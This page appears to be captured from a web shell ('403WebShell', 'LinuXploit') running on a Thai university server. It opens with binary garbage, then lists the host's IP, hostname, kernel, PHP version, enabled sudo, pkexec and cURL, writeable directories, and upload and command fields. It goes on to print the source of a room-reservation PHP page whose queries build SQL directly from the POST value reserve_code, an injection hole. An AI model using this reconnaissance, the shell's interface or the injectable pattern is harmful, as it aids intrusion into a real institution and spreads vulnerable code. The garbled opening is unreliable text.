h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/trr/pages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/trr/pages/reserve_edit.php
<?php session_start();?>
<?php include 'check_mode_login.php';?>
<?php include 'dbconnect.php';?>
<?php include 'header.php';?>

<?php
$num_show_day = 31;
$submit_edit = (isset($_POST["submit_edit"])) ? $_POST["submit_edit"] : '';
$submit_delete = (isset($_POST["submit_delete"])) ? $_POST["submit_delete"] : '';
$submit_delete_confirm = (isset($_POST["submit_delete_confirm"])) ? $_POST["submit_delete_confirm"] : '';
if($submit_delete<>"" || $submit_delete_confirm<>"") {
	$pagetitle_text = "ลบข้อมูลการจอง";
} else {
	$pagetitle_text = "แก้ไขข้อมูลการจอง";
}
?>
<style type="text/css">
<!--
.style2 {color: #3366FF}
-->
</style>
		  
	<h1 class="page-header"><?php echo $pagetitle_text;?></h1>
<?php
if($submit_edit <> "") {
  $reserve_code = (isset($_POST["reserve_code"])) ? $_POST["reserve_code"] : '';
  //$password_check = (isset($_POST["password_check"])) ? $_POST["password_check"] : '';
  //$sqlx = "SELECT * FROM reserve_detail WHERE reserve_code=" . $reserve_code . " AND password='" . $password_check ."'";
  $sqlx = "SELECT * FROM reserve_detail WHERE reserve_code=" . $reserve_code;
  $queryx = mysqli_query($conn,$sqlx);	
  if($resultx=mysqli_fetch_array($queryx,MYSQLI_ASSOC)) { //เจอ reserve_code มั้ย
    if ($resultx["user_name"] == $_SESSION['USERNAME_arit67']) { //user ตรงมั้ย 
?>
	<form action="reserve_edit_db.php" method="post" name="form1" id="form1">
		<table class="table table-striped table-bordered table-hover">
			<tbody>
				<tr>
					<td width="30%">เลขที่การจอง</td>
					<td>
						<?php echo $reserve_code;?>
					</td>
				</tr>			
				<tr>
					<td width="30%">ชื่อผู้จอง</td>
					<td><?php echo $resultx["full_name"];?></td>
				</tr>
				<tr>
					<td width="30%">สังกัดคณะ/หน่วยงาน</td>
					<td><?php echo $resultx["faculty_name"];?></td>
				</tr>	
				<tr>
					<td width="30%">อีเมล</td>
					<td><?php echo $resultx["email"];?></td>
				</tr>	
				<tr>
					<td width="30%">ห้อง</td>
					<td>
<?php
	$sql = "SELECT room_name FROM reserve_room WHERE room_code=" . $resultx["room_code"];
	$query = mysqli_query($conn,$sql);	
	if($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
	{
		echo $result["room_name"] . " <font color=green>(ไม่สามารถแก้ไขห้องที่จองได้ ถ้าต้องการเปลี่ยนห้องที่จองกรุณาลบการจองนี้แล้วทำการจองใหม่)</font>";
	} else {
		echo "ไม่พบห้องที่เลือก";
	}
?>							
					</td>
				</tr>
				<tr>
					<td width="30%">วันที่ต้องการจอง (จองล่วงหน้าได้ไม่เกิน 31 วัน)</td>
					<td>
<?php
	$input_date = date('d/m/Y',strtotime($resultx["reserve_date"]));
	echo $input_date . " <font color=green>(ไม่สามารถแก้ไขวันที่จองได้ ถ้าต้องการเปลี่ยนวันที่จองกรุณาลบการจองนี้แล้วทำการจองใหม่)</font>";
?>						
					</td>
				</tr>
				<tr>												
				  <td width="30%">เวลาที่ต้องการจอง (เลือกได้หลายช่วงเวลา)</td>
					<td>
						<div class="form-group">
							<div class="checkbox">
<?php
	$sql = "SELECT * FROM reserve_time_list ORDER BY time_code ASC";
	$query = mysqli_query($conn,$sql);	
	while($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
	{
		$input_name = "pid" . $result["time_code"];
		$input_id = "pid" . $result["time_code"];
		$sql2 = "SELECT reserve_time.reserve_code FROM reserve_detail INNER JOIN reserve_time ON reserve_detail.reserve_code= reserve_time.reserve_code WHERE ( (reserve_detail.reserve_date ='" . $resultx["reserve_date"] . "'" .  ") AND (reserve_detail.room_code=" . $resultx["room_code"] . ") AND (reserve_time.reserve_time =" . $result["time_code"] . ") )";
		$query2 = mysqli_query($conn,$sql2);	
		if($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) {
			if($result2["reserve_code"] == $reserve_code) {
?> 
								<div class="checkbox">
									<label>
										<input name="<?php echo $input_name;?>" type="checkbox" id="<?php echo $input_id;?>" value="<?php echo $result["time_code"];?>" checked="checked"> 
										<?php echo $result["start_time"] . "-" . $result["stop_time"] . " (ว่าง)";?>
									</label>
								</div>		
<?php			
			
			} else { //if($result2["reserve_code"] == $reserve_code) {
?> 
								<div class="checkbox">
									<label>
										<input type="checkbox" disabled="disabled"> 
										<?php echo $result["start_time"] . "-" . $result["stop_time"] . "<font color=red> (ไม่ว่าง)</font>";?>
									</label>
								</div>			
<?php			
			} //if($result2["reserve_code"] == $reserve_code) {
		} else { //if($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) {
?>								
								<div class="checkbox">
									<label>
										<input name="<?php echo $input_name;?>" type="checkbox" id="<?php echo $input_id;?>" value="<?php echo $result["time_code"];?>"> 
										<?php echo $result["start_time"] . "-" . $result["stop_time"] . " (ว่าง)";?>
									</label>
								</div>
<?php
		} //if($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) {
	} //while($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
?>								
							</div>
						</div>
					</td>
				</tr>												
				<tr>
					<td width="30%">หัวข้อ / วิชา</td>
					<td>
						<div class="form-group">
							<input name="subject" id="subject" class="form-control"  value="<?php echo $resultx["subject"];?>">
						</div>
					</td>
				</tr>	
				<!--<tr>
					<td width="30%">จำนวนคน</td>
					<td>
						<div class="form-group">
							<input type="number" name="num_student" id="num_student" class="form-control" value="<?php //echo $resultx["num_student"];?>">
						</div>
					</td>
				</tr>-->	
				<tr>
					<td width="30%">หมายเลขโทรศัพท์ผู้จอง</td>
					<td>
						<div class="form-group">
							<input name="phone" id="phone" class="form-control" value="<?php echo $resultx["phone"];?>">
						</div>
					</td>
				</tr>					
				<tr>
					<td width="30%">รายละเอียดอื่นๆ</td>
					<td>
                                        <div class="form-group">
                                            <textarea class="form-control" rows="3" name="note" id="note"><?php echo $resultx["note"];?></textarea>
                                        </div>
					</td>
				</tr>

			</tbody>
	  </table>
	  

                                        <div class="form-group">
											<input type="hidden" name="reserve_code" id="reserve_code" value="<?php echo $reserve_code;?>" />
											<!--<input type="hidden" name="password_check" id="password_check" value="<?php //echo $password_check;?>" />-->												
											<input name="submit_edit_db" type="submit" id="submit_edit_db" value="บันทึกข้อมูล" class="btn btn-success">
											&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
											<a href="index.php"><button type="button" class="btn btn-default">ยกเลิก</button></a>
                                        </div>	
	</form>	
<?php
	} else { //if ($result["user_name"] == $_SESSION['USERNAME_arit67']) { //user ตรงมั้ย
?>
		<h1><font color="#FF0000">ไม่สามารถแก้ไขรายละเอียดการจองได้ ผู้ที่ทำการจองเท่านั้นที่จะแก้ไขรายละเอียดการจองได้</font></h1>
<?php
	} //if ($result["user_name"] == $_SESSION['USERNAME_arit67']) { //user ตรงมั้ย  
  } else { //  if($room_code<>"" && $reserve_date<>"") {
?>
	<BR />ไม่พบข้อมูลการจอง
	<BR /><BR /><a href='javascript:history.back(1);'><button type="button" class="btn-warning">คลิกที่นี่เพื่อกลับไปหน้าที่แล้ว</button></a>
<?php
  } //  if($room_code<>"" && $reserve_date<>"") {
  
} elseif ($submit_delete <> "") {
  $reserve_code = (isset($_POST["reserve_code"])) ? $_POST["reserve_code"] : '';
  //$password_check = (isset($_POST["password_check"])) ? $_POST["password_check"] : '';
  //$sqlx = "SELECT * FROM reserve_detail WHERE reserve_code=" . $reserve_code . " AND password='" . $password_check ."'";
  $sqlx = "SELECT * FROM reserve_detail WHERE reserve_code=" . $reserve_code;
  $queryx = mysqli_query($conn,$sqlx);	
  if($resultx=mysqli_fetch_array($queryx,MYSQLI_ASSOC)) {
    if ($resultx["user_name"] == $_SESSION['USERNAME_arit67']) { //user ตรงมั้ย   
?>
	<form action="reserve_edit.php" method="post" name="form1" id="form1">
		<table class="table table-striped table-bordered table-hover">
			<tbody>
				<tr>
					<td width="30%">เลขที่การจอง</td>
					<td>
						<?php echo $reserve_code;?>
					</td>
				</tr>
				<tr>
					<td width="30%">ชื่อผู้จอง</td>
					<td><?php echo $resultx["full_name"];?></td>
				</tr>
				<tr>
					<td width="30%">สังกัดคณะ/หน่วยงาน</td>
					<td><?php echo $resultx["faculty_name"];?></td>
				</tr>	
				<tr>
					<td width="30%">อีเมล</td>
					<td><?php echo $resultx["email"];?></td>
				</tr>							
				<tr>
					<td width="30%">ห้อง</td>
					<td>
<?php
	$sql = "SELECT room_name FROM reserve_room WHERE room_code=" . $resultx["room_code"];
	$query = mysqli_query($conn,$sql);	
	if($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
	{
		echo $result["room_name"] . " <font color=green>(ไม่สามารถแก้ไขห้องที่จองได้ ถ้าต้องการเปลี่ยนห้องที่จองกรุณาลบการจองนี้แล้วทำการจองใหม่)</font>";
	} else {
		echo "ไม่พบห้องที่เลือก";
	}
?>							
					</td>
				</tr>
				<tr>
					<td width="30%">วันที่ต้องการจอง (จองล่วงหน้าได้ไม่เกิน 31 วัน)</td>
					<td>
<?php
	$input_date = date('d/m/Y',strtotime($resultx["reserve_date"]));
	echo $input_date . " <font color=green>(ไม่สามารถแก้ไขวันที่จองได้ ถ้าต้องการเปลี่ยนวันที่จองกรุณาลบการจองนี้แล้วทำการจองใหม่)</font>";
?>						
					</td>
				</tr>
				<tr>												
				  <td width="30%">เวลาที่ต้องการจอง (เลือกได้หลายช่วงเวลา)</td>
					<td>
						<div class="form-group">
							<div class="checkbox">
<?php
	$sql = "SELECT * FROM reserve_time_list ORDER BY time_code ASC";
	$query = mysqli_query($conn,$sql);	
	while($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
	{
		$input_name = "pid" . $result["time_code"];
		$input_id = "pid" . $result["time_code"];
		$sql2 = "SELECT reserve_time.reserve_code FROM reserve_detail INNER JOIN reserve_time ON reserve_detail.reserve_code= reserve_time.reserve_code WHERE ( (reserve_detail.reserve_date ='" . $resultx["reserve_date"] . "'" .  ") AND (reserve_detail.room_code=" . $resultx["room_code"] . ") AND (reserve_time.reserve_time =" . $result["time_code"] . ") )";
		$query2 = mysqli_query($conn,$sql2);	
		if($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) {
			if($result2["reserve_code"] == $reserve_code) {
?> 
								<div class="checkbox">
									<label>
										<input name="<?php echo $input_name;?>" type="checkbox" id="<?php echo $input_id;?>" value="<?php echo $result["time_code"];?>" checked="checked" disabled="disabled"> 
										<?php echo $result["start_time"] . "-" . $result["stop_time"] . " (ว่าง)";?>
									</label>
								</div>		
<?php			
			
			} else { //if($result2["reserve_code"] == $reserve_code) {
?> 
								<div class="checkbox">
									<label>
										<input type="checkbox" disabled="disabled"> 
										<?php echo $result["start_time"] . "-" . $result["stop_time"] . "<font color=red> (ไม่ว่าง)</font>";?>
									</label>
								</div>			
<?php			
			} //if($result2["reserve_code"] == $reserve_code) {
		} else { //if($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) {
?>								
								<div class="checkbox">
									<label>
										<input name="<?php echo $input_name;?>" type="checkbox" id="<?php echo $input_id;?>" value="<?php echo $result["time_code"];?>" disabled="disabled"> 
										<?php echo $result["start_time"] . "-" . $result["stop_time"] . " (ว่าง)";?>
									</label>
								</div>
<?php
		} //if($result2=mysqli_fetch_array($query2,MYSQLI_ASSOC)) {
	} //while($result=mysqli_fetch_array($query,MYSQLI_ASSOC))
?>								
							</div>
						</div>
					</td>
				</tr>												
				<tr>
					<td width="30%">หัวข้อ / วิชา</td>
					<td>
						<div class="form-group">
							<input name="subject" id="subject" class="form-control"  value="<?php echo $resultx["subject"];?>" disabled="disabled">
						</div>
					</td>
				</tr>	
				<!--<tr>
					<td width="30%">จำนวนคน</td>
					<td>
						<div class="form-group">
							<input type="number" name="num_student" id="num_student" class="form-control" value="<?php //echo $resultx["num_student"];?>" disabled="disabled">
						</div>
					</td>
				</tr>-->	
				<tr>
					<td width="30%">หมายเลขโทรศัพท์ผู้จอง</td>
					<td>
						<div class="form-group">
							<input name="phone" id="phone" class="form-control" value="<?php echo $resultx["phone"];?>" disabled="disabled">
						</div>
					</td>
				</tr>				
				<tr>
					<td width="30%">รายละเอียดอื่นๆ</td>
					<td>
                                        <div class="form-group">
                                            <textarea class="form-control" rows="3" name="note" id="note" disabled="disabled"><?php echo $resultx["note"];?></textarea>
                                        </div>
					</td>
				</tr>

			</tbody>
	  </table>
	  

                                        <div class="form-group">
											<input type="hidden" name="reserve_code" id="reserve_code" value="<?php echo $reserve_code;?>" />
											<!--<input type="hidden" name="password_check" id="password_check" value="<?php //echo $password_check;?>" />-->											
											<input name="submit_delete_confirm" type="submit" id="submit_delete_confirm" value="คลิกที่นี่เพื่อยืนยันที่จะลบการจองนี้" class="btn btn-danger" onClick="if(confirm('ยืนยันการลบข้อมูล')) return true; else return false;">											
											&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
											<a href='javascript:history.back(1);'><button type="button" class="btn btn-default">ยกเลิก</button></a>
                                        </div>	
	</form>	
<?php
	} else { //if ($result["user_name"] == $_SESSION['USERNAME_arit67']) { //user ตรงมั้ย
?>
		<h1><font color="#FF0000">ไม่สามารถแก้ไขรายละเอียดการจองได้ ผู้ที่ทำการจองเท่านั้นที่จะแก้ไขรายละเอียดการจองได้</font></h1>
<?php
	} //if ($result["user_name"] == $_SESSION['USERNAME_arit67']) { //user ตรงมั้ย
  } else { //  if($room_code<>"" && $reserve_date<>"") {
?>
	<BR />ไม่พบข้อมูลการจอง
	<BR /><BR /><a href='javascript:history.back(1);'><button type="button" class="btn-warning">คลิกที่นี่เพื่อกลับไปหน้าที่แล้ว</button></a>
<?php
  } //  if($room_code<>"" && $reserve_date<>"") {

} elseif($submit_delete_confirm <> "") { //if($submit_roomanddate <> "") {
  $reserve_code = (isset($_POST["reserve_code"])) ? $_POST["reserve_code"] : '';
  //$password_check = (isset($_POST["password_check"])) ? $_POST["password_check"] : '';
  //$sqlx = "SELECT * FROM reserve_detail WHERE reserve_code=" . $reserve_code . " AND password='" . $password_check . "'";
  $sqlx = "SELECT * FROM reserve_detail WHERE reserve_code=" . $reserve_code;
  $queryx = mysqli_query($conn,$sqlx);	
  if($resultx=mysqli_fetch_array($queryx,MYSQLI_ASSOC)) { 	
    if ($resultx["user_name"] == $_SESSION['USERNAME_arit67']) { //user ตรงมั้ย
		//ลบข้อมูลใน reserve_detail
		$sql = "DELETE FROM reserve_detail WHERE reserve_code =" . $reserve_code;
		$query = mysqli_query($conn,$sql);
		if($query) {	
			//ลบข้อมูลใน reserve_time
			$sql2 = "DELETE FROM reserve_time WHERE reserve_code=" . $reserve_code;
			$query2 = mysqli_query($conn,$sql2);
			if($query2) {
	?>							
		<BR />ลบข้อมูลเรียบร้อยแล้ว
		<BR /><BR /><a href="index.php"><button type="button" class="btn-success">คลิกที่นี่กลับหน้ารายการ</button></a>
	<?php			
			} else { //if($query2) {
				echo "ไม่สามารถลบเวลาที่จองได้";		
			}	//if($query2) {	
		} else { //if($query) {	
			echo "ไม่สามารถรายละเอียดการจองได้";
		} //if($query) {	
	} else { //if ($result["user_name"] == $_SESSION['USERNAME_arit67']) { //user ตรงมั้ย
?>
		<h1><font color="#FF0000">ไม่สามารถแก้ไขรายละเอียดการจองได้ ผู้ที่ทำการจองเท่านั้นที่จะแก้ไขรายละเอียดการจองได้</font></h1>
<?php
	} //if ($result["user_name"] == $_SESSION['USERNAME_arit67']) { //user ตรงมั้ย
  } else { //if($resultx=mysqli_fetch_array($queryx,MYSQLI_ASSOC))
  	echo "ไม่พบข้อมูลการจอง";
  }
} //if($submit_roomanddate <> "") {
?>	

<?php include 'footer.php';?>

Youez - 2016 - github.com/yon3zu
LinuXploit